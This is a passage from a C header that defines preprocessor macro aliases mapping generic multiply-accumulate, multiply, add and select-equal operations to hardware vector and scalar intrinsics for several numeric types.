av_u8_mac_v_v_vb(a, b, acc, sat, p, pol) v_u8_mac_vb(a, b, acc, sat, p, pol)\n\n#define v_f32_mac_v_v_b(a, b, acc, neg, p, pol) v_f32_mac_b(a, b, acc, (neg) << 1, p, pol)\n#define v_bf16_mac_v_v_b(a, b, acc, neg, p, pol) v_bf16_mac_b(a, b, acc, (neg) << 1, p, pol)\n#define av_i16_mac_v_v_b(a, b, acc, sat, p, pol) v_i16_mac_b(a, b, acc, sat, p, pol)\n#define av_u16_mac_v_v_b(a, b, acc, sat, p, pol) v_u16_mac_b(a, b, acc, sat, p, pol)\n#define av_i8_mac_v_v_b(a, b, acc, sat, p, pol) v_i8_mac_b(a, b, acc, sat, p, pol)\n#define av_u8_mac_v_v_b(a, b, acc, sat, p, pol) v_u8_mac_b(a, b, acc, sat, p, pol)\n\n#define v_f32_mac_v_s_vb(a, b, acc, neg, p, pol) v_f32_mac_v_v_vb(a, b, acc, neg, p, pol)\n#define v_bf16_mac_v_s_vb(a, b, acc, neg, p, pol) v_bf16_mac_v_v_vb(a, b, acc, neg, p, pol)\n#define av_i16_mac_v_s_vb(a, b, acc, sat, p, pol) av_i16_mac_v_v_vb(a, b, acc, sat, p, pol)\n#define av_u16_mac_v_s_vb(a, b, acc, sat, p, pol) av_u16_mac_v_v_vb(a, b, acc, sat, p, pol)\n#define av_i8_mac_v_s_vb(a, b, acc, sat, p, pol) av_i8_mac_v_v_vb(a, b, acc, sat, p, pol)\n#define av_u8_mac_v_s_vb(a, b, acc, sat, p, pol) av_u8_mac_v_v_vb(a, b, acc, sat, p, pol)\n\n#define v_f32_mac_v_s_b(a, b, acc, neg, p, pol) v_f32_mac_v_v_b(a, b, acc, neg, p, pol)\n#define v_bf16_mac_v_s_b(a, b, acc, neg, p, pol) v_bf16_mac_v_v_b(a, b, acc, neg, p, pol)\n#define av_i16_mac_v_s_b(a, b, acc, sat, p, pol) av_i16_mac_v_v_b(a, b, acc, sat, p, pol)\n#define av_u16_mac_v_s_b(a, b, acc, sat, p, pol) av_u16_mac_v_v_b(a, b, acc, sat, p, pol)\n#define av_i8_mac_v_s_b(a, b, acc, sat, p, pol) av_i8_mac_v_v_b(a, b, acc, sat, p, pol)\n#define av_u8_mac_v_s_b(a, b, acc, sat, p, pol) av_u8_mac_v_v_b(a, b, acc, sat, p, pol)\n\n#define v_f32_mac_v_v(a, b, acc, neg) v_f32_mac_v_v_b(a, b, acc, neg, 1, 0)\n#define v_bf16_mac_v_v(a, b, acc, neg) v_bf16_mac_v_v_b(a, b, acc, neg, 1, 0)\n#define av_i16_mac_v_v(a, b, acc, sat) av_i16_mac_v_v_b(a, b, acc, sat, 1, 0)\n#define av_u16_mac_v_v(a, b, acc, sat) av_u16_mac_v_v_b(a, b, acc, sat, 1, 0)\n#define av_i8_mac_v_v(a, b, acc, sat) av_i8_mac_v_v_b(a, b, acc, sat, 1, 0)\n#define av_u8_mac_v_v(a, b, acc, sat) av_u8_mac_v_v_b(a, b, acc, sat, 1, 0)\n\n#define v_f32_mac_v_s(a, b, acc, neg) v_f32_mac_v_v(a, b, acc, neg)\n#define v_bf16_mac_v_s(a, b, acc, neg) v_bf16_mac_v_v(a, b, acc, neg)\n#define av_i16_mac_v_s(a, b, acc, sat) av_i16_mac_v_v(a, b, acc, sat)\n#define av_u16_mac_v_s(a, b, acc, sat) av_u16_mac_v_v(a, b, acc, sat)\n#define av_i8_mac_v_s(a, b, acc, sat) av_i8_mac_v_v(a, b, acc, sat)\n#define av_u8_mac_v_s(a, b, acc, sat) av_u8_mac_v_v(a, b, acc, sat)\n\n#define av_bf16_mac_acc_v_v_vb(a, b, acc, neg, p, pol) v_bf16_mac_acc32_vb(a, b, acc, (neg) << 1, to_bool128(p), pol)\n#define av_bf16_mac_acc_v_v_b(a, b, acc, neg, p, pol) v_bf16_mac_acc32_b(a, b, acc, (neg) << 1, p, pol)\n#define av_bf16_mac_acc_v_s_vb(a, b, acc, neg, p, pol) av_bf16_mac_acc_v_v_vb(a, b, acc, neg, p, pol)\n#define av_bf16_mac_acc_v_s_b(a, b, acc, neg, p, pol) av_bf16_mac_acc_v_v_b(a, b, acc, neg, p, pol)\n#define av_bf16_mac_acc_v_v(a, b, acc, neg) av_bf16_mac_acc_v_v_b(a, b, acc, neg, 1, 0)\n#define av_bf16_mac_acc_v_s(a, b, acc, neg) av_bf16_mac_acc_v_v(a, b, acc, neg)\n\n\n// MUL\n// variant for f8/h8 w/o acc is absent in hardware see 2.3.2\n#define s_f32_mul_s_s_b(a, b, i, p, o) s_f32_mul(a, b, 0, i, p, o)\n#define s_bf16_mul_s_s_b(a, b, i, p, o) s_bf16_mul(a, b, 0, i, p, o)\n#define s_i32_mul_s_s_b(a, b, i, s, p, o) s_i32_mul(a, b, s << 2, i, p, o)\n#define s_u32_mul_s_s_b(a, b, i, s, p, o) s_u32_mul(a, b, s << 2, i, p, o)\n#define s_i16_mul_s_s_b(a, b, i, p, o) s_i16_mul(a, b, 0, i, p, o)\n#define s_u16_mul_s_s_b(a, b, i, p, o) s_u16_mul(a, b, 0, i, p, o)\n#define s_i8_mul_s_s_b(a, b, i, p, o) s_i8_mul(a, b, 0, i, p, o)\n#define s_u8_mul_s_s_b(a, b, i, p, o) s_u8_mul(a, b, 0, i, p, o)\n\n#define s_f32_mul_s_s(a, b) s_f32_mul_s_s_b(a, b, 0, 1, 0)\n#define s_bf16_mul_s_s(a, b) s_bf16_mul_s_s_b(a, b, 0, 1, 0)\n#define s_i32_mul_s_s(a, b, s) s_i32_mul_s_s_b(a, b, 0, s, 1, 0)\n#define s_u32_mul_s_s(a, b, s) s_u32_mul_s_s_b(a, b, 0, s, 1, 0)\n#define s_i16_mul_s_s(a, b) s_i16_mul_s_s_b(a, b, 0, 1, 0)\n#define s_u16_mul_s_s(a, b) s_u16_mul_s_s_b(a, b, 0, 1, 0)\n#define s_i8_mul_s_s(a, b) s_i8_mul_s_s_b(a, b, 0, 1, 0)\n#define s_u8_mul_s_s(a, b) s_u8_mul_s_s_b(a, b, 0, 1, 0)\n\n#define s_bf16_mul_acc_s_s_b(a, b, i, p, o) s_bf16_mul_acc32(a, b, 0, i, p, o)\n#define s_bf16_mul_acc_s_s(a, b) s_bf16_mul_acc_s_s_b(a, b, 0, 1, 0)\n\n#define i_i32_mul_i_i_b(a, b, i, m, p, o) i_i32_mul(a, b, m, 0, i, p, o)\n#define i_i32_mul_s_i_b(a, b, i, m, p, o) i_i32_mul_i_i_b(a, b, i, m, p, o)\n#define i_i32_mul_i_i(a, b, i, m) i_i32_mul_i_i_b(a, b, i, m, 1, 0)\n#define i_i32_mul_s_i(a, b, i, m) i_i32_mul_i_i(a, b, i, m)\n\n#define v_f32_mul_v_v_vb(a, b, i, p, o) v_f32_mul_vb(a, b, 0, i, to_bool64(p), o)\n#define v_bf16_mul_v_v_vb(a, b, i, p, o) v_bf16_mul_vb(a, b, 0, i, to_bool128(p), o)\n\n#define av_i32_mul_v_v_vb(a, b, i, p, o) v_i32_mul_vb(a, b, 0, i, to_bool64(p), o)\n#define av_u32_mul_v_v_vb(a, b, i, p, o) v_u32_mul_vb(a, b, 0, i, to_bool64(p), o)\n#define av_i16_mul_v_v_vb(a, b, i, p, o) v_i16_mul_vb(a, b, 0, i, to_bool128(p), o)\n#define av_u16_mul_v_v_vb(a, b, i, p, o) v_u16_mul_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i8_mul_v_v_vb(a, b, i, p, o) v_i8_mul_vb(a, b, 0, i, p, o)\n#define v_u8_mul_v_v_vb(a, b, i, p, o) v_u8_mul_vb(a, b, 0, i, p, o)\n\n#define v_f32_mul_v_v_b(a, b, i, p, o) v_f32_mul_b(a, b, 0, i, p, o)\n#define v_bf16_mul_v_v_b(a, b, i, p, o) v_bf16_mul_b(a, b, 0, i, p, o)\n\n#define av_i32_mul_v_v_b(a, b, i, p, o) v_i32_mul_b(a, b, 0, i, p, o)\n#define av_u32_mul_v_v_b(a, b, i, p, o) v_u32_mul_b(a, b, 0, i, p, o)\n#define av_i16_mul_v_v_b(a, b, i, p, o) v_i16_mul_b(a, b, 0, i, p, o)\n#define av_u16_mul_v_v_b(a, b, i, p, o) v_u16_mul_b(a, b, 0, i, p, o)\n#define v_i8_mul_v_v_b(a, b, i, p, o) v_i8_mul_b(a, b, 0, i, p, o)\n#define v_u8_mul_v_v_b(a, b, i, p, o) v_u8_mul_b(a, b, 0, i, p, o)\n\n#define v_f32_mul_v_s_vb(a, b, i, p, o) v_f32_mul_v_v_vb(a, b, i, p, o)\n#define v_bf16_mul_v_s_vb(a, b, i, p, o) v_bf16_mul_v_v_vb(a, b, i, p, o)\n#define av_i32_mul_v_s_vb(a, b, i, p, o) av_i32_mul_v_v_vb(a, b, i, p, o)\n#define av_u32_mul_v_s_vb(a, b, i, p, o) av_u32_mul_v_v_vb(a, b, i, p, o)\n#define av_i16_mul_v_s_vb(a, b, i, p, o) av_i16_mul_v_v_vb(a, b, i, p, o)\n#define av_u16_mul_v_s_vb(a, b, i, p, o) av_u16_mul_v_v_vb(a, b, i, p, o)\n#define v_i8_mul_v_s_vb(a, b, i, p, o) v_i8_mul_v_v_vb(a, b, i, p, o)\n#define v_u8_mul_v_s_vb(a, b, i, p, o) v_u8_mul_v_v_vb(a, b, i, p, o)\n\n#define v_f32_mul_v_s_b(a, b, i, p, o) v_f32_mul_v_v_b(a, b, i, p, o)\n#define v_bf16_mul_v_s_b(a, b, i, p, o) v_bf16_mul_v_v_b(a, b, i, p, o)\n#define av_i32_mul_v_s_b(a, b, i, p, o) av_i32_mul_v_v_b(a, b, i, p, o)\n#define av_u32_mul_v_s_b(a, b, i, p, o) av_u32_mul_v_v_b(a, b, i, p, o)\n#define av_i16_mul_v_s_b(a, b, i, p, o) av_i16_mul_v_v_b(a, b, i, p, o)\n#define av_u16_mul_v_s_b(a, b, i, p, o) av_u16_mul_v_v_b(a, b, i, p, o)\n#define v_i8_mul_v_s_b(a, b, i, p, o) v_i8_mul_v_v_b(a, b, i, p, o)\n#define v_u8_mul_v_s_b(a, b, i, p, o) v_u8_mul_v_v_b(a, b, i, p, o)\n\n#define v_f32_mul_v_v(a, b) v_f32_mul_v_v_b(a, b, 0, 1, 0)\n#define v_bf16_mul_v_v(a, b) v_bf16_mul_v_v_b(a, b, 0, 1, 0)\n#define av_i32_mul_v_v(a, b) av_i32_mul_v_v_b(a, b, (int128){0}, 1, 0)\n#define av_u32_mul_v_v(a, b) av_u32_mul_v_v_b(a, b, (uint128){0}, 1, 0)\n#define av_i16_mul_v_v(a, b) av_i16_mul_v_v_b(a, b, (int128){0}, 1, 0)\n#define av_u16_mul_v_v(a, b) av_u16_mul_v_v_b(a, b, (uint128){0}, 1, 0)\n#define v_i8_mul_v_v(a, b) v_i8_mul_v_v_b(a, b, (int256){ 0 }, 1, 0)\n#define v_u8_mul_v_v(a, b) v_u8_mul_v_v_b(a, b, (uint256){ 0 }, 1, 0)\n\n#define v_f32_mul_v_s(a, b) v_f32_mul_v_v(a, b)\n#define v_bf16_mul_v_s(a, b) v_bf16_mul_v_v(a, b)\n#define av_i32_mul_v_s(a, b) av_i32_mul_v_v(a, b)\n#define av_u32_mul_v_s(a, b) av_u32_mul_v_v(a, b)\n#define av_i16_mul_v_s(a, b) av_i16_mul_v_v(a, b)\n#define av_u16_mul_v_s(a, b) av_u16_mul_v_v(a, b)\n#define v_i8_mul_v_s(a, b) v_i8_mul_v_v(a, b)\n#define v_u8_mul_v_s(a, b) v_u8_mul_v_v(a, b)\n\n#define av_bf16_mul_acc_v_v_vb(a, b, i, p, o) v_bf16_mul_acc32_vb(a, b, 0, i, to_bool128(p), o)\n#define av_bf16_mul_acc_v_v_b(a, b, i, p, o) v_bf16_mul_acc32_b(a, b, 0, i, p, o)\n#define av_bf16_mul_acc_v_s_vb(a, b, i, p, o) av_bf16_mul_acc_v_v_vb(a, b, i, p, o)\n#define av_bf16_mul_acc_v_s_b(a, b, i, p, o) av_bf16_mul_acc_v_v_b(a, b, i, p, o)\n#define av_bf16_mul_acc_v_v(a, b) av_bf16_mul_acc_v_v_b(a, b, (float128){0}, 1, 0)\n#define av_bf16_mul_acc_v_s(a, b) av_bf16_mul_acc_v_v(a, b)\n\n\n#define v_i32_mul_double_and_round_v_v_vb(a, b, i, p, o) v_i32_mul_round_vb(a, b, 0, i, to_bool64(p), o)\n#define v_i32_mul_double_and_round_v_v_b(a, b, i, p, o) v_i32_mul_round_b(a, b, 0, i, p, o)\n#define v_i32_mul_double_and_round_v_s_vb(a, b, i, p, o) v_i32_mul_double_and_round_v_v_vb(a, b, i, p, o)\n#define v_i32_mul_double_and_round_v_s_b(a, b, i, p, o) v_i32_mul_double_and_round_v_v_b(a, b, i, p, o)\n#define v_i32_mul_double_and_round_v_v(a, b) v_i32_mul_double_and_round_v_v_b(a, b, 0, 1, 0)\n#define v_i32_mul_double_and_round_v_s(a, b) v_i32_mul_double_and_round_v_v(a, b)\n\n#define v_u32_mul_double_and_round_v_v_vb(a, b, i, p, o) v_u32_mul_round_vb(a, b, 0, i, to_bool64(p), o)\n#define v_u32_mul_double_and_round_v_v_b(a, b, i, p, o) v_u32_mul_round_b(a, b, 0, i, p, o)\n#define v_u32_mul_double_and_round_v_s_vb(a, b, i, p, o) v_u32_mul_double_and_round_v_v_vb(a, b, i, p, o)\n#define v_u32_mul_double_and_round_v_s_b(a, b, i, p, o) v_u32_mul_double_and_round_v_v_b(a, b, i, p, o)\n#define v_u32_mul_double_and_round_v_v(a, b) v_u32_mul_double_and_round_v_v_b(a, b, 0, 1, 0)\n#define v_u32_mul_double_and_round_v_s(a, b) v_u32_mul_double_and_round_v_v(a, b)\n\n// ADD\n\n#define s_f32_add_s_s_b(a, b, i, p, o) s_f32_add(a, b, 0, i, p, o)\n#define s_bf16_add_s_s_b(a, b, i, p, o) s_bf16_add(a, b, 0, i, p, o)\n#define s_i32_add_s_s_b(a, b, i, s, p, o) s_i32_add(a, b, s, i, p, o)\n#define s_u32_add_s_s_b(a, b, i, s, p, o) s_u32_add(a, b, s, i, p, o)\n#define s_i16_add_s_s_b(a, b, i, s, p, o) s_i16_add(a, b, s, i, p, o)\n#define s_u16_add_s_s_b(a, b, i, s, p, o) s_u16_add(a, b, s, i, p, o)\n#define s_i8_add_s_s_b(a, b, i, s, p, o) s_i8_add(a, b, s, i, p, o)\n#define s_u8_add_s_s_b(a, b, i, s, p, o) s_u8_add(a, b, s, i, p, o)\n\n#define s_f32_add_s_s s_f32_add\n#define s_bf16_add_s_s s_bf16_add\n#define s_i32_add_s_s s_i32_add\n#define s_u32_add_s_s s_u32_add\n#define s_i16_add_s_s s_i16_add\n#define s_u16_add_s_s s_u16_add\n#define s_i8_add_s_s s_i8_add\n#define s_u8_add_s_s s_u8_add\n\n#define i_i32_add_i_i_b(a, b, i, m, p, o) i_i32_add(a, b, m, 0, i, p, o)\n#define i_i32_add_s_i_b(a, b, i, m, p, o) i_i32_add_i_i_b(a, b, i, m, p, o)\n#define i_i32_add_i_i(a, b, i, m) i_i32_add_i_i_b(a, b, i, m, 1, 0)\n#define i_i32_add_s_i(a, b, i, m) i_i32_add_i_i(a, b, i, m)\n\n#define v_f32_add_v_v_vb(a, b, i, p, o) v_f32_add_vb(a, b, 0, i, to_bool64(p), o)\n#define v_bf16_add_v_v_vb(a, b, i, p, o) v_bf16_add_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i32_add_v_v_vb(a, b, i, s, p, o) v_i32_add_vb(a, b, s, i, to_bool64(p), o)\n#define v_u32_add_v_v_vb(a, b, i, s, p, o) v_u32_add_vb(a, b, s, i, to_bool64(p), o)\n#define v_i16_add_v_v_vb(a, b, i, s, p, o) v_i16_add_vb(a, b, s, i, to_bool128(p), o)\n#define v_u16_add_v_v_vb(a, b, i, s, p, o) v_u16_add_vb(a, b, s, i, to_bool128(p), o)\n#define v_i8_add_v_v_vb(a, b, i, s, p, o) v_i8_add_vb(a, b, s, i, p, o)\n#define v_u8_add_v_v_vb(a, b, i, s, p, o) v_u8_add_vb(a, b, s, i, p, o)\n\n#define v_f32_add_v_v_b(a, b, i, p, o) v_f32_add_b(a, b, 0, i, p, o)\n#define v_bf16_add_v_v_b(a, b, i, p, o) v_bf16_add_b(a, b, 0, i, p, o)\n#define v_i32_add_v_v_b(a, b, i, s, p, o) v_i32_add_b(a, b, s, i, p, o)\n#define v_u32_add_v_v_b(a, b, i, s, p, o) v_u32_add_b(a, b, s, i, p, o)\n#define v_i16_add_v_v_b(a, b, i, s, p, o) v_i16_add_b(a, b, s, i, p, o)\n#define v_u16_add_v_v_b(a, b, i, s, p, o) v_u16_add_b(a, b, s, i, p, o)\n#define v_i8_add_v_v_b(a, b, i, s, p, o) v_i8_add_b(a, b, s, i, p, o)\n#define v_u8_add_v_v_b(a, b, i, s, p, o) v_u8_add_b(a, b, s, i, p, o)\n\n#define v_f32_add_v_s_vb v_f32_add_v_v_vb\n#define v_bf16_add_v_s_vb v_bf16_add_v_v_vb\n#define v_i32_add_v_s_vb v_i32_add_v_v_vb\n#define v_u32_add_v_s_vb v_u32_add_v_v_vb\n#define v_i16_add_v_s_vb v_i16_add_v_v_vb\n#define v_u16_add_v_s_vb v_u16_add_v_v_vb\n#define v_i8_add_v_s_vb v_i8_add_v_v_vb\n#define v_u8_add_v_s_vb v_u8_add_v_v_vb\n\n#define v_f32_add_v_s_b v_f32_add_v_v_b\n#define v_bf16_add_v_s_b v_bf16_add_v_v_b\n#define v_i32_add_v_s_b v_i32_add_v_v_b\n#define v_u32_add_v_s_b v_u32_add_v_v_b\n#define v_i16_add_v_s_b v_i16_add_v_v_b\n#define v_u16_add_v_s_b v_u16_add_v_v_b\n#define v_i8_add_v_s_b v_i8_add_v_v_b\n#define v_u8_add_v_s_b v_u8_add_v_v_b\n\n#define v_f32_add_v_v v_f32_add_b\n#define v_bf16_add_v_v v_bf16_add_b\n#define v_i32_add_v_v v_i32_add_b\n#define v_u32_add_v_v v_u32_add_b\n#define v_i16_add_v_v v_i16_add_b\n#define v_u16_add_v_v v_u16_add_b\n#define v_i8_add_v_v v_i8_add_b\n#define v_u8_add_v_v v_u8_add_b\n\n#define v_f32_add_v_s v_f32_add_v_v\n#define v_bf16_add_v_s v_bf16_add_v_v\n#define v_i32_add_v_s v_i32_add_v_v\n#define v_u32_add_v_s v_u32_add_v_v\n#define v_i16_add_v_s v_i16_add_v_v\n#define v_u16_add_v_s v_u16_add_v_v\n#define v_i8_add_v_s v_i8_add_v_v\n#define v_u8_add_v_s v_u8_add_v_v\n\n// SEL_EQ\n\n// f32 - f32\n#define v_f32_f32_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_eq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_f32_sel_eq_v_s_v_v_b v_f32_f32_sel_eq_v_v_v_v_b\n#define v_f32_f32_sel_eq_v_v_v_s_b v_f32_f32_sel_eq_v_v_v_v_b\n#define v_f32_f32_sel_eq_v_v_v_v(a, b, c, d) v_f32_f32_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_f32_sel_eq_v_s_v_v v_f32_f32_sel_eq_v_v_v_v\n#define v_f32_f32_sel_eq_v_v_v_s v_f32_f32_sel_eq_v_v_v_v\n\n#define v_f32_f32_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_eq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_f32_sel_eq_v_s_v_v_vb v_f32_f32_sel_eq_v_v_v_v_vb\n#define v_f32_f32_sel_eq_v_v_v_s_vb v_f32_f32_sel_eq_v_v_v_v_vb\n\n// f32 - i32\n#define v_i32_f32_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_eq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_f32_sel_eq_v_s_v_v_b v_i32_f32_sel_eq_v_v_v_v_b\n#define v_i32_f32_sel_eq_v_v_v_s_b v_i32_f32_sel_eq_v_v_v_v_b\n#define v_i32_f32_sel_eq_v_v_v_v(a, b, c, d) v_i32_f32_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_f32_sel_eq_v_s_v_v v_i32_f32_sel_eq_v_v_v_v\n#define v_i32_f32_sel_eq_v_v_v_s v_i32_f32_sel_eq_v_v_v_v\n\n#define v_i32_f32_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_eq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_f32_sel_eq_v_s_v_v_vb v_i32_f32_sel_eq_v_v_v_v_vb\n#define v_i32_f32_sel_eq_v_v_v_s_vb v_i32_f32_sel_eq_v_v_v_v_vb\n\n// f32 - u32\n#define v_u32_f32_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_f32_sel_eq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_f32_sel_eq_v_s_v_v_b v_u32_f32_sel_eq_v_v_v_v_b\n#define v_u32_f32_sel_eq_v_v_v_s_b v_u32_f32_sel_eq_v_v_v_v_b\n#define v_u32_f32_sel_eq_v_v_v_v(a, b, c, d) v_u32_f32_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_f32_sel_eq_v_s_v_v v_u32_f32_sel_eq_v_v_v_v\n#define v_u32_f32_sel_eq_v_v_v_s v_u32_f32_sel_eq_v_v_v_v\n\n#define v_u32_f32_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_f32_sel_eq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_f32_sel_eq_v_s_v_v_vb v_u32_f32_sel_eq_v_v_v_v_vb\n#define v_u32_f32_sel_eq_v_v_v_s_vb v_u32_f32_sel_eq_v_v_v_v_vb\n\n// bf16 - bf16\n#define v_bf16_bf16_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_eq_bf16_b(a, b, c, d, 0, i, p, o)\n#define v_bf16_bf16_sel_eq_v_s_v_v_b v_bf16_bf16_sel_eq_v_v_v_v_b\n#define v_bf16_bf16_sel_eq_v_v_v_s_b v_bf16_bf16_sel_eq_v_v_v_v_b\n#define v_bf16_bf16_sel_eq_v_v_v_v(a, b, c, d) v_bf16_bf16_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_bf16_bf16_sel_eq_v_s_v_v v_bf16_bf16_sel_eq_v_v_v_v\n#define v_bf16_bf16_sel_eq_v_v_v_s v_bf16_bf16_sel_eq_v_v_v_v\n\n#define v_bf16_bf16_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_eq_bf16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_bf16_bf16_sel_eq_v_s_v_v_vb v_bf16_bf16_sel_eq_v_v_v_v_vb\n#define v_bf16_bf16_sel_eq_v_v_v_s_vb v_bf16_bf16_sel_eq_v_v_v_v_vb\n\n// bf16 - i16\n#define v_i16_bf16_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_eq_i16_b(a, b, c, d, 0, i, p, o)\n#define v_i16_bf16_sel_eq_v_s_v_v_b v_i16_bf16_sel_eq_v_v_v_v_b\n#define v_i16_bf16_sel_eq_v_v_v_s_b v_i16_bf16_sel_eq_v_v_v_v_b\n#define v_i16_bf16_sel_eq_v_v_v_v(a, b, c, d) v_i16_bf16_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i16_bf16_sel_eq_v_s_v_v v_i16_bf16_sel_eq_v_v_v_v\n#define v_i16_bf16_sel_eq_v_v_v_s v_i16_bf16_sel_eq_v_v_v_v\n\n#define v_i16_bf16_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_eq_i16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_i16_bf16_sel_eq_v_s_v_v_vb v_i16_bf16_sel_eq_v_v_v_v_vb\n#define v_i16_bf16_sel_eq_v_v_v_s_vb v_i16_bf16_sel_eq_v_v_v_v_vb\n\n// bf16 - u16\n#define v_u16_bf16_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_bf16_sel_eq_u16_b(a, b, c, d, 0, i, p, o)\n#define v_u16_bf16_sel_eq_v_s_v_v_b v_u16_bf16_sel_eq_v_v_v_v_b\n#define v_u16_bf16_sel_eq_v_v_v_s_b v_u16_bf16_sel_eq_v_v_v_v_b\n#define v_u16_bf16_sel_eq_v_v_v_v(a, b, c, d) v_u16_bf16_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u16_bf16_sel_eq_v_s_v_v v_u16_bf16_sel_eq_v_v_v_v\n#define v_u16_bf16_sel_eq_v_v_v_s v_u16_bf16_sel_eq_v_v_v_v\n\n#define v_u16_bf16_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_bf16_sel_eq_u16_vb(a, b, c, d, 0, i, to_bool128(p), o)\n#define v_u16_bf16_sel_eq_v_s_v_v_vb v_u16_bf16_sel_eq_v_v_v_v_vb\n#define v_u16_bf16_sel_eq_v_v_v_s_vb v_u16_bf16_sel_eq_v_v_v_v_vb\n\n// i32 - f32\n#define v_f32_i32_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_eq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_i32_sel_eq_v_s_v_v_b v_f32_i32_sel_eq_v_v_v_v_b\n#define v_f32_i32_sel_eq_v_v_v_s_b v_f32_i32_sel_eq_v_v_v_v_b\n#define v_f32_i32_sel_eq_v_v_v_v(a, b, c, d) v_f32_i32_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_i32_sel_eq_v_s_v_v v_f32_i32_sel_eq_v_v_v_v\n#define v_f32_i32_sel_eq_v_v_v_s v_f32_i32_sel_eq_v_v_v_v\n\n#define v_f32_i32_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_eq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_i32_sel_eq_v_s_v_v_vb v_f32_i32_sel_eq_v_v_v_v_vb\n#define v_f32_i32_sel_eq_v_v_v_s_vb v_f32_i32_sel_eq_v_v_v_v_vb\n\n// i32 - i32\n#define v_i32_i32_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_eq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_i32_sel_eq_v_s_v_v_b v_i32_i32_sel_eq_v_v_v_v_b\n#define v_i32_i32_sel_eq_v_v_v_s_b v_i32_i32_sel_eq_v_v_v_v_b\n#define v_i32_i32_sel_eq_v_v_v_v(a, b, c, d) v_i32_i32_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_i32_i32_sel_eq_v_s_v_v v_i32_i32_sel_eq_v_v_v_v\n#define v_i32_i32_sel_eq_v_v_v_s v_i32_i32_sel_eq_v_v_v_v\n\n#define v_i32_i32_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_eq_i32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_i32_i32_sel_eq_v_s_v_v_vb v_i32_i32_sel_eq_v_v_v_v_vb\n#define v_i32_i32_sel_eq_v_v_v_s_vb v_i32_i32_sel_eq_v_v_v_v_vb\n\n// i32 - u32\n#define v_u32_i32_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_i32_sel_eq_u32_b(a, b, c, d, 0, i, p, o)\n#define v_u32_i32_sel_eq_v_s_v_v_b v_u32_i32_sel_eq_v_v_v_v_b\n#define v_u32_i32_sel_eq_v_v_v_s_b v_u32_i32_sel_eq_v_v_v_v_b\n#define v_u32_i32_sel_eq_v_v_v_v(a, b, c, d) v_u32_i32_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_u32_i32_sel_eq_v_s_v_v v_u32_i32_sel_eq_v_v_v_v\n#define v_u32_i32_sel_eq_v_v_v_s v_u32_i32_sel_eq_v_v_v_v\n\n#define v_u32_i32_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_i32_sel_eq_u32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_u32_i32_sel_eq_v_s_v_v_vb v_u32_i32_sel_eq_v_v_v_v_vb\n#define v_u32_i32_sel_eq_v_v_v_s_vb v_u32_i32_sel_eq_v_v_v_v_vb\n\n// u32 - f32\n#define v_f32_u32_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_eq_f32_b(a, b, c, d, 0, i, p, o)\n#define v_f32_u32_sel_eq_v_s_v_v_b v_f32_u32_sel_eq_v_v_v_v_b\n#define v_f32_u32_sel_eq_v_v_v_s_b v_f32_u32_sel_eq_v_v_v_v_b\n#define v_f32_u32_sel_eq_v_v_v_v(a, b, c, d) v_f32_u32_sel_eq_v_v_v_v_b(a, b, c, d, 0, 1, 0)\n#define v_f32_u32_sel_eq_v_s_v_v v_f32_u32_sel_eq_v_v_v_v\n#define v_f32_u32_sel_eq_v_v_v_s v_f32_u32_sel_eq_v_v_v_v\n\n#define v_f32_u32_sel_eq_v_v_v_v_vb(a, b, c, d, i, p, o) v_u32_sel_eq_f32_vb(a, b, c, d, 0, i, to_bool64(p), o)\n#define v_f32_u32_sel_eq_v_s_v_v_vb v_f32_u32_sel_eq_v_v_v_v_vb\n#define v_f32_u32_sel_eq_v_v_v_s_vb v_f32_u32_sel_eq_v_v_v_v_vb\n\n// u32 - i32\n#define v_i32_u32_sel_eq_v_v_v_v_b(a, b, c, d, i, p, o) v_u32_sel_eq_i32_b(a, b, c, d, 0, i, p, o)\n#define v_i32_u32_sel_eq_v_s_v_v_b 